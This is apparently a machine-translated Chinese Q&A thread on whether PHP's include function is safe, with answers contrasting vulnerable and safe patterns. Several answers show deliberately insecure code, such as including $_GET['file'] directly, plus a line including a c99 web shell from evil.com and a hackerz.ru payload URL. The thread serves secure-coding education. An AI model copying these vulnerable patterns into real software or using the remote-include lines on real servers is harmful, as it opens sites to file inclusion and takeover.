首页 文章

PHP - “包含”功能是否安全?

提问于
浏览
7

我正在使用“include”函数(e.x.“include'head2.php'”或“include'class.users.php'”)在我的网站中添加 Headers 或会话类 . 我真的不记得在哪里,但我听说黑客滥用,不知何故,这个“包含”的东西,发送虚假的包含页面或类似的东西 . 所以基本上我想知道什么是“包含”功能,我该如何保护它,它们如何滥用它以及是否有更好的解决方案来满足我的需求 .

提前致谢 .

7 回答

  • 1

    这一切都取决于你如何实现它 . 如果您专门设置路径,那么它是安全的 . 如果允许用户输入确定文件路径而不进行清理或检查,则可能发生攻击 .

    Insecure (目录遍历)

    <?php 
    include($_GET['file']);
    ?>
    

    InsecureURL fopen - 如果启用)

    <?php 
    include('http://evil.com/c99shell.php');
    ?>
    

    Insecure

    <?php 
    include('./some_dir/' . $_GET['file']);
    ?>
    

    *Partially Insecure ( .php files are vulnerable )

    <?php 
    include('./some_dir/' . $_GET['file'] . '.php');
    ?>
    

    Secure (虽然不确定为什么有人会这样做 . )

    <?php 
    $allowed = array(
        'somefile.php',
        'someotherfile.php'
    );
    
    if (in_array(basename($_GET['file']), $allowed)) {
        include('./includes/' . basename($_GET['file']));
    }
    ?>
    

    Secure

    <?php 
    include('./includes/somefile.php');
    ?>
    
  • -1

    服务器端(假设您的服务器没有受到损害)是安全的 . 这样做:

    $var = $_GET['var']';    
    include $var . ".php";
    

    是不安全的 .

    include "page.php";
    

    是安全的 .

  • 3

    如果您执行以下操作,可能会滥用包含:

    include($_GET["page"]);
    

    然后调用URL:

    myscript.php?page=index.php

    然后攻击者可以用 index.php 代替 hxxp://hackerz.ru/install_stuff.php ,你的服务器很乐意运行它 .

    include 本身非常安全 . 只需确保始终验证/转义您的输入 .

  • 1

    我正在使用这种方法 .

    <?php include (dirname(__FILE__).'/file.php');
    
  • 13

    最好的办法是确保您尝试包含的页面首先存在 . 当您的包含页面是从某种用户输入(例如URL变量)处理时,会出现真正的安全漏洞 . ?include=page.php 只要你对这些保持谨慎,你应该没事 .

    if(is_file($file)) {
        //other code, such as user verification and such should also go here
        include $file;
    }
    else { die(); }
    
  • 2

    包含的最大问题可能是将PHP中的 filename extension 更改为Web服务器无法自动执行的操作 . 例如library.inc或config.inc . 使用Web浏览器调用这些文件将显示代码而不是执行它 - 并且将显示任何密码或可利用的提示 .

    将可能包含密码的 config.phpconfig.inc 进行比较 . 在大多数情况下,启动config.inc会显示数据库密码 .

    有些程序员使用.inc扩展库 . 前提是它们不会位于Web服务器可访问的目录中 . 但是,较少安全的偏执程序员可能会将该文件转储到方便的Web目录中 .

    否则,请确保您以某种方式查询字符串't include a file that' . 例如: include( $_GET['menu_file'] ) < - 这是非常错误的 .

  • 2

    如果您不这样做,则包含是安全的:

    • 包含像 www.someoneelsesssite.com/something.php 这样的远程文件

    • 包含来自客户端的路径中的文件 . www.mysite.com/bad.php?path=oops/here/is/your/passwords/file

    • 包含来自其他可能受污染的源(如数据库)的文件 .

    2和3技术上有一个警告,如果你不允许 ./ 或在Windows \ 你可能没事 . 但是,如果你没有充分了解它的风险 . 即使您认为数据库是只读的或其他安全的,明智的做法是不要假设除非您真的需要,这几乎从不 .

    正如pp19dd的答案指出的那样 . 使用.php扩展名命名包含也很重要 . 如果您已将apache(或您使用的任何Web服务器)设置为将另一种文件类型解析为PHP,那么这也是安全的 . 但如果您不确定,请使用.php .

相关问题